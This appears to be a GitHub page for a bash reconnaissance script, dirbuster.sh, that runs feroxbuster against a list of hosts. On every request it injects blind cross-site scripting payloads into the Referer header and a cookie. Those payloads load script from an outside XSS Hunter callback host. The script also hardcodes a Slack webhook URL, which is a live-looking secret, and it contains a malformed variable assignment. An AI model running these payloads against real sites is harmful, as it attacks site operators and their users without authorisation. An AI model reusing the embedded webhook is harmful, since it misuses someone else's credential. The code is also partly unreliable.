-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdirbuster.sh
More file actions
48 lines (38 loc) · 1.74 KB
/
Copy pathdirbuster.sh
File metadata and controls
48 lines (38 loc) · 1.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/bash
xss_hunter = "https://seczone64.xss.ht/"
message () {
curl -X POST -H 'Content-type: application/json' --data "{\"text\":\"$alert$1\"}" https://hooks.slack.com/services/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 -s > /dev/null
}
# For color code you can use this link https://stackoverflow.com/questions/5947742/how-to-change-the-output-color-of-echo-in-linux
print() {
if [[ $1 == "v" ]]; then
echo -e "\033[32m[+] $2 \033[m"
message "[+] $2"
elif [[ $1 == "e" ]]; then
echo -e "\033[31m[-] $2 \033[m"
message "[-] $2"
elif [[ $1 == "w" ]]; then
echo -e "\033[33m[!] $2 \033[m"
message "[!] $2"
fi
}
scanned () {
cat $1 | sort -u | wc -l
}
print "v" "Running Disbuster..."
mkdir -p "$1/dirbuster"
ferox_buster(){
print "v" "Dir and Files Scanning for Sensitive Files"
if [ ! -z $(which feroxbuster) ]; then
for i in $(cat $1/$1-httpx-info.txt | awk {'print $1'}); do
filename=$(echo $i | sed 's/http:\/\///g' | sed 's/https:\/\//ssl-/g')
feroxbuster -u $i --thorough -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763" -H "Referer: $xss_hunter/$i/%27%22%3E%3Cscript%20src%3D%22$xss_hunter%2F%22%3E%3C%2Fscript%3E" -b "test=%27%3E%27%3E%3C%2Ftitle%3E%3C%2Fstyle%3E%3C%2Ftextarea%3E%3Cscript%20src%3D%22$xss_hunter%22%3E%3C%2fscript%3E" -k -q -w ./tools/content_discovery_all.txt -o "$1/dirbuster/$filename.txt"
done
message "Dir and files Scan Done for $1"
echo "[+] Done ffuf for file and directory scanning"
else
message "[-] Skipping ffuf for dir and files scanning"
echo "[!] Skipping ..."
fi
}
ferox_buster $1